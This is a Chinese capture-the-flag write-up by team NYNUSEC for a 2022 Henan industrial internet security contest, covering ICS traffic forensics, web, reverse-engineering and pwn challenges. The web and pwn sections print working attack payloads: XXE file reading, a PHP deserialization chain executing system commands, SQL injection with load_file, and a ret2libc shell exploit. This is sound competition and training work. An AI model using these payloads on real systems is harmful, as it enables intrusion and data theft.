参赛WP · 2022年10月31日 0

2022年河南省工业互联网安全初赛 WriteUp

队伍信息

队伍名称:NYNUSEC

解题情况

比赛一共23题,共解出18题,其中:ICS 7题,WEB5题,Re5题,PWN1

最终排名

学生组第一名

ICS

HNGK-easy_wincc

解压,然后搜索所有文件的字符串,得到flag

flag{wincc_1s_1nteresting~}

HNGK-modbus协议分析

把流量包导入到工具里,根据题目,直接观察modbus协议的数据包

发现有多个虚假重传数据包

分析发现,后面的包里传的数据是在前面包的基础上新增了几个字节,所以直接找到最后一个虚假重传的包,将其传递的数据复制出来

23 00 3D 00 24 00 40 00 25 00 26 00 24 00 26 00 23 00 3D 00 21 00 21 00 25 00 21 00 21 00 1F 00 24 00 1F 00 21 00 20 00 22 00 3D 00 24 00 26 00 24 00 21 00 22 00 22 00 23 00 1F 00 21 00 1E 00 22 00 40 00 24 00 40 00 21 00 27 00 25 00 20 00 24 00 24 00 23 00 1F

然后把数据处理一下,得到flag

flag{5kbap442ok}

HNGK-奇怪的工艺图片

图片放到010里发现后面还有个压缩包

于是直接丢到foremost里,分离出来一个压缩包

demo.cmp文件丢到010里发现kingview字样

搜了下是组态王的备份文件,于是下载了个组态王 6.55,将cmp文件恢复。

对比其他初始demo工程发现,多了个admin用户,猜测其密码可能就是flag。

但是用星号查看器,看不到密码,值为空。想到在打开工程的时候,软件提示说工程版本低,将自动升级到新版,就选了(不选不让打开)。

在工程管理器界面看到当前工程的描述是组态王6.53演示工程

于是卸载当前版本,又找了个组态王 6.53,再次恢复工程后,用星号查看器得到admin的密码,即flag。

flag{j0kViMMg71}

HNGK-S7Comm协议分析

直接拿去strings一下,发现多次重复出现一个可疑的字符串

5a6d78685a33747264454a31517a524d656d6f7a6651

处理一下得到flag

flag{ktBuC4Lzj3}

HNGK-工程文件分析

解压得到一个pbp文件,丢到010里,发现是个7z压缩包

直接用7z打开并解压到文件夹中。

接着用搜索工具,对所有文件搜索flag{字符串,得到flag

flag{3u1xaCYSVSK5cJDT}

HMGK-being_hacked

这题刚开始没啥头绪,想找tls流量结果全是正常的网站访问流量,然后按流量排序发现有一堆icmp流量,这在正常流量包中并不常见。

那就筛选一下icmp请求包,因为一般返回包没啥东西:icmp.type == 8

然后就发现每个包的长度都不太一样。

然后102正好是f的ascii码,但是后面几个就对应不上了。

这时候发现icmp请求包里面的seq并不是顺序发送的,于是尝试按seq排序。

结果发现不止一个seq==1,比对了下id==1的才是f,那就筛选icmp.type == 8 && icmp.ident == 1

提取出来就是102 108 97 103 123 50 51 51 51 51 45 115 111 45 101 97 115 121 45 105 99 109 112 125,转成文本就是flag{23333-so-easy-icmp}

flag{23333-so-easy-icmp}

HNGK-LAD Cal

做这题的时候其实对于plc是一无所知的,于是就下了个STEP 7 Micro/WIN SMART,然后手动把梯形图给重新画了一遍。

然后发现这软件很贴心的有每个运算的中文说明。

于是就一个一个运算用js模拟过去。

碰到未知的变量就开始倒着推。

然后V13=40BCD编码是01000000,所以flag就出来了。

flag{V8_80_V11_5_V1_01000000}

WEB

HNGK-xxx

打开靶机,发现jquery-2.2.4.min.js已经404了,所以登录按钮失效。

正好本地有jquery-2.2.4.min.js于是用fd拦截,给内容填进去,404改成200

再登录就可以成功发送请求了。

查看源码,观察多半是xxe

于是发个经典payload过去

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><user><username>&xxe;</username><password>11</password></user>

成功读取文件,于是读取/flag,得到flag

flag{1gggkvmu9ss7l0028abi4k638qjbfmb1}

HNGK-DS_Store

根据题目提示访问http://47.92.27.98:20346/.DS_Store

得到bXlwb3AucGhw解base64得mypop.php,访问页面得到源码

<?php
highlight_file(__FILE__);

class Fish{
    public $food;
    public function __construct(){
        $this->food = array();
    }
    public function __get($value){
        $function = $this->food;
        return $function();
    }
}

class Bubble{
    public $bubble;
    protected $hack;
    public function __toString(){
        return $this->bubble;
    }
    public function run($value){
        @eval($value);
    }
    public function __invoke(){
        $this->run($this->hack);
    }
}

class Turtle{
    public $head;
    public $tail;
    public function __construct($tail="tail"){
        $this->tail = $tail;
        echo $tail;
    }
    public function __toString(){
        return $this->tail->head;
    }
}

class Stone{
    public $rock;
    public $ash;
    public function __construct($nice="wow"){
        $this->rock = $nice;
        echo "My rock --- ".$this->rock."<br>";
    }
    public function __destruct(){
        if(preg_match("/fish|bubble|gopher|http|file|ftp|https|dict|\.\./i", $this->rock)) {
            echo "no~no~no~";
        }
    }
    function __wakeup(){
        if ($this->rock != 'ash') {
            $this->rock = 'ash';
        }
    }
}

$data = @$_GET['data'];
if(isset($data)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$q);
    foreach($q as $v)
    {
        if(preg_match("/^O/i",$v))
        {
            die('***k hacker!!!');
            exit();
        }
    }
    unserialize($data);
}

?>

其中 parse_url在url中添加///即可绕过

在反序列化的构造思路中使用Stone类触发Turtle类中的toString方法,然后触发Fish类中的get方法,最后Bubble类中的_invoke方法,从而run函数,完成命令执行。

构造exp

<?php
class Fish{
    public $food;
    public function __construct(){
        $this->food = new Bubble();

    }
//    public function __get($value){
//        $function = $this->food;
//        return $function();
//    }
}

class Bubble{
    public $bubble;
    protected $hack;
    public function __construct()
    {
        $this->hack="system('cat /flag');";
    }

//    public function __toString(){
//        return $this->bubble;
//    }
//    public function run($value){
//        @eval($value);
//    }
//    public function __invoke(){
//        $this->run($this->hack);
//    }
}

class Turtle{
    public $head;
    public $tail;
    public function __construct($tail="tail"){
        $this->tail = new Fish();
    }
//    public function __toString(){
//        return $this->tail->head;
//    }
}

class Stone{
    public $rock;
    public $ash;
    public function __construct($nice="wow"){
        $this->rock = new Turtle();
    }
//    public function __destruct(){
//        if(preg_match("/fish|bubble|gopher|http|file|ftp|https|dict|\.\./i", $this->rock)) {
//            echo "no~no~no~";
//        }
//    }
//    function __wakeup(){
//        if ($this->rock != 'ash') {
//            $this->rock = 'ash';
//        }
//    }
}

echo urlencode(serialize(new Stone()));

得到payload

http://47.92.27.98:20346/mypop.php?data=O%3A5%3A%22Stone%22%3A2%3A%7Bs%3A4%3A%22rock%22%3BO%3A6%3A%22Turtle%22%3A2%3A%7Bs%3A4%3A%22head%22%3BN%3Bs%3A4%3A%22tail%22%3BO%3A4%3A%22Fish%22%3A1%3A%7Bs%3A4%3A%22food%22%3BO%3A6%3A%22Bubble%22%3A2%3A%7Bs%3A6%3A%22bubble%22%3BN%3Bs%3A7%3A%22%00%2A%00hack%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D%7Ds%3A3%3A%22ash%22%3BN%3B%7D

flag{1gghl6oq7dvphh0288b4a0l77mdssb5v}

HNGK-兰亭集序

打开靶机,访问主页,自动302跳转到http://47.92.207.120:21743/index.php?file=http://47.92.207.120:21743/poem.php

于是猜到是文件包含。

查看源码得到提示

<!-- 偷偷告诉你,flag在fflagggg.php中 -->

构造payload

http://47.92.207.120:21743/index.php?file=./fflagggg.php

查看网页源代码,得到flag

flag{1gggkqd6q15ec3028abi4k6372jbfm99}

HNGK-phpgame

打开看见是乱码,调整编码格式为Unicode(UTF8),然后变为有时候,这种乱码其实并不乱,入口在这里: ΡΗΡ⒍⒍.ΡΗΡ

于是访问http://47.92.207.120:20615/php66.php

得到源码

<?php
show_source(__FILE__);

$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['get']);
if(is_array($info)){
    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("game", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="game"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}
if($Step1 && $Step2){
    echo getenv("FLAG");
}
?> 

发现是iscc 2022原题,直接拿exp来打

?get={%22year%22:{},%22items%22:[0,%20[],%20%22123%22]}

得到flag

flag{1gggupti7kuf7l028abi4k63mkjbfmor}

HNGK-out

打开靶机,根据提示Please input the ID as parameter with numeric value

于是构造?id=1'

看到有报错

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/html/index.php on line 37
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

尝试后发现select和空格被过滤了,于是绕过,构造payload,找表名

/?id=-1%27union/**/seleselectct/**/database(),(seleselectct/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=%27security%27),%273

但是在表里并未找到flag,于是尝试直接使用load_file函数来,读文件,得到flag

/?id=-1%27union/**/selselectect/**/1,load_file(%27/flag%27),%273

flag{1gggv3udc560tb028abi4k63msjbfmp3}

Reverse

HNGK-数独

这题主要就是for循环解析输入,然后4110e6里面处理输入去填入数独,看看竖着、横着、3*3的是不是都满足和为45==1+...+9

但是这题有一点需要注意,在for循环解析输入的时候,实际上并没有走v10[i] = Str[v11] - 48这一句,因为上面有个try/except操作,然后直接下一句就访问异常内存地址触发了,所以需要去看except的逻辑,ida这里没反编译出来,得看汇编。

实际上也不复杂,就是在off_41A000[4*9]里面循环查找输入字符的下标(起始值是1).

所以把41A028的数独提取出来在线解一下。

所以输入的下标就是5619238183457621978469254539786692871328563671281793452

那么写个脚本去找每个下标对应的字符就行。

a = [i-ord('0') for i in b"5619238183457621978469254539786692871328563671281793452"]
mask = [
    "{hXxAjYka",
    "cX+8>h#<Z",
    "9g<dqAQNx",
    "Zp4Ccq3QL",
    "jorvP+Ox3",
    "oPOBiHD5r",
    ";gHuRa@yI",
    "fmO2=K9br",
    "ZMeO6Qz2K",
]
for i, x in enumerate(a):
    print(mask[i%9][x-1], end="")

flag{Ah9LoOyf2X8q3+P;rzk8ALoiu=ea#Nq+rgbz{+gQPHHKz{XNZOrH26h}

HNGK-py字节码

这题其实没啥好说的,因为没有很冷门的字节码,都是挺常见的写法,所以边写正向脚本边python -m dis task.py比对就行。

然后就写了个和题目给的字节码一模一样的正向脚本出来。


a = 17
b = 13

def rand():
    global seed
    seed = (a * seed + b) % 128
    return seed
print('please input your flag:')
flag = str(input())

assert len(flag) >= 20

seed = ord(flag[19])
enc = [102, 3, 46, 0, 78, 102, 103, 57, 116, 63, 110, 127, 121, 59, 57, 33, 49, 11, 110, 18, 6]
data = [102, 50, 35, 35, 35, 17, 67, 35, 69, 35, 51, 34, 35, 69, 35, 69, 35, 51, 34, 35, 153]
for i in range(len(flag)):

    tmp = data[i] ^ i ^ (rand() % 128)
    data[i + 1] = ord(flag[i]) ^ tmp

    if data[i + 1] != enc[i + 1]:
        print('error!')
        exit(0)
print('flag is %s' % flag)

然后这逻辑也不难,主要就是拿flag[19]当随机数种子,然后每轮用data[i]去异或下标和随机结果,再异或flag就得到了加密结果和新的data[i+1]

那就写个爆破种子的脚本。

a = 17
b = 13

def rand():
    global seed
    seed = (a * seed + b) % 128
    return seed

for f0 in range(128):
    seed = f0
    enc = [102, 3, 46, 0, 78, 102, 103, 57, 116, 63, 110, 127, 121, 59, 57, 33, 49, 11, 110, 18, 6]
    data = [102, 50, 35, 35, 35, 17, 67, 35, 69, 35, 51, 34, 35, 69, 35, 69, 35, 51, 34, 35, 153]
    i = 0
    tmp = data[i] ^ i ^ (rand() % 128)
    if chr(enc[i + 1] ^ tmp) == 'f':
        print('seed', f0)

可以得知种子是22(但是22好像不是可见字符...咋可能是flag[19]的值,感觉是题目有问题)

然后用种子去反向计算每轮的加密前的值,即为flag。

a = 17
b = 13

def rand():
    global seed
    seed = (a * seed + b) % 128
    return seed

for f0 in range(128):
    seed = f0
    enc = [102, 3, 46, 0, 78, 102, 103, 57, 116, 63, 110, 127, 121, 59, 57, 33, 49, 11, 110, 18, 6]
    data = [102, 50, 35, 35, 35, 17, 67, 35, 69, 35, 51, 34, 35, 69, 35, 69, 35, 51, 34, 35, 153]
    i = 0
    tmp = data[i] ^ i ^ (rand() % 128)
    if chr(enc[i + 1] ^ tmp) == 'f':
        print('seed', f0)
        break

seed = f0
enc = [102, 3, 46, 0, 78, 102, 103, 57, 116, 63, 110, 127, 121, 59, 57, 33, 49, 11, 110, 18, 6]
data = [102, 50, 35, 35, 35, 17, 67, 35, 69, 35, 51, 34, 35, 69, 35, 69, 35, 51, 34, 35, 153]
flag = bytearray(len(data)-1)
for i in range(len(flag)):
    tmp = data[i] ^ i ^ (rand() % 128)
    flag[i] = enc[i + 1] ^ tmp
    data[i + 1] = enc[i + 1]
print(flag)

flag{Pyth0n_1s_yyds}

HNGK-xxtea

有轻微的混淆,不过没啥影响,140004038的值就是switch顺序。也就是acb08edf

a只是在输出东西,不用管。

c在接收输入然后计算长度并判断。

b的话好像就是换了个地方存输入。

0走默认,因为没定义,直接就开始xxtea了。

然后8这边就开始判断加密结果是否一致了。

这题既然是考xxtea,那大概率又是改了魔数或者算法细节,所以就用偷懒办法。

先随便输入点符合长度的东西(4的倍数就行),跑到8这边if判断的时候下个断点看看预期结果v87是啥。

rdx指向的这块内存就是预期结果,只不过是倒着的,因为下标是--v87递减的。

然后还要来个^0x56565656的操作才是加密结果,所以写个脚本拿结果。

a = bytearray(bytes.fromhex("DFD2F732"+"817EC5C1"+"C11C8097"+"055BA086"+"07F5F7FA"+"9D36F9EA"))

for i in range(len(a)):
    a[i] ^= 0x56
print(a.hex())

加密结果为8984a164d7289397974ad6c1530df6d051a3a1accb60afbc

然后再重新跑一下,去xxtea函数开头下个断点,再随便输入点满足长度的东西(这回长度要确保是和预期一样,因为待会要替换)。

然后根据ida给的传参寄存器情况,数据指针在rcx,加解密标识符在edx,密钥在r8

咱们要把数据替换成上面的加密结果,然后标识改成负的。

然后运行到返回,数据就变成了加密之前的,也就是flag。

flag{W31C0M3_To_Rev3rs3}

HNGK-反调试

这题其实看着逻辑挺简单的,就是把输入给* $41A040 % 1031,然后确保是等于1就完事,但是写了脚本发现解不出啥东西。

b = [
    0x0110, 0x03f8, 0x02f5, 0x039b,
    0x017b, 0x00f7, 0x024f, 0x0036,
    0x019f, 0x0117, 0x014d, 0x028a,
    0x0366, 0x00eb, 0x039b, 0x0117,
    0x00b7, 0x00eb, 0x00b0, 0x0036,
    0x0117, 0x0162, 0x027f, 0x0047,
]

for x in b:
    for i in range(10, 128):
        if x * i % 1031 == 1:
            print(chr(i), end="")
            break

于是猜测$41A040可能被修改过。

但是它的引用只有刚才那一处。

然后下面也没有其他变量命名了,所以就往上找找引用,可能会存在下标初始值大于0的情况。

8字节开外还真有一处。

跟过去一看,确实是走了不止8字节的步长,所以确实被修改了。

所以把^ 0x66这个操作给不上,成功得到flag。

b = [
    0x0110, 0x03f8, 0x02f5, 0x039b,
    0x017b, 0x00f7, 0x024f, 0x0036,
    0x019f, 0x0117, 0x014d, 0x028a,
    0x0366, 0x00eb, 0x039b, 0x0117,
    0x00b7, 0x00eb, 0x00b0, 0x0036,
    0x0117, 0x0162, 0x027f, 0x0047,
]

for x in b:
    for i in range(10, 128):
        if (x ^ 0x66) * i % 1031 == 1:
            print(chr(i), end="")
            break

flag{@nt1_d3bug_Ju5t_s0}

HNGK-签到

这题upx特征明显,直接upx -d脱。

打开后发现命名空间有混淆,不过问题不大,大致看出来逻辑。

dwfsxe::dwfsxehandvfiu::handvfiu是初始化预期的运算数据,分别存到v7v8里面,然后接收到输入存进v9,再复制到v5,然后用B::cewrwe23rf去运算三个数据,然后里面顺带比较就完事。

所以直接在B::cewrwe23rf函数开头下个断点,看看初始化的数据是啥。

先看输入的,在rdi,但是过去看了下,实际上是往下走32字节才是,应该是命名空间也占了一些内存。

所以v7rsi也要往下找。

然后v8rdx也是同样的道理。

然后具体看比较的时候指针是啥。

所以v70123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+v8hP&p0!5L^#3NXLs@*QR%L&UN!L)0%Q^

按照函数的逻辑写个脚本成功得到flag。

v7 = b"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+"
v8 = b"hP&p0!5L^#3NXLs@*QR%L&UN!L)0%Q^"

for i in range(31):
    print(chr(v7.index(v8[i])+ord('0')), end="")

ActI0n5_sp3ak_Louder_than_w0rds

PWN

HNGK-easybaby

进入IDA查看main函数逻辑:

main函数中存在read函数,可以修改返回地址构造ROP

使用ROPgadget获取ROP链

把返回地址修改为puts函数,输出puts函数的地址,再利用puts的地址获取libc,构成getshell函数

最终exp

from pwn import *
elf = ELF('./babygame')

libc = ELF('./libc-2.31.so')
# elf = ELF('./babygame')
r = remote('47.92.27.98', 25440)

for i in range(0,999):
r.send('3\n1\n')
r.send('1\n3\n')
for i in range(0,999):
r.send('3\n')
r.send('7\n4\n1\n')

main = 0x401276
rdi = 0x402c33
ret = 0x40101a
p = 0x38 * b'a' + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main)
r.send(p)
r.recvuntil('好汉')
r.send(p)
r.recv()
puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))

base = puts_addr - libc.symbols['puts']
system= base + libc.symbols['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))

q = (0x30 + 0x08) * b'a' + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
r.send(q)
r.interactive()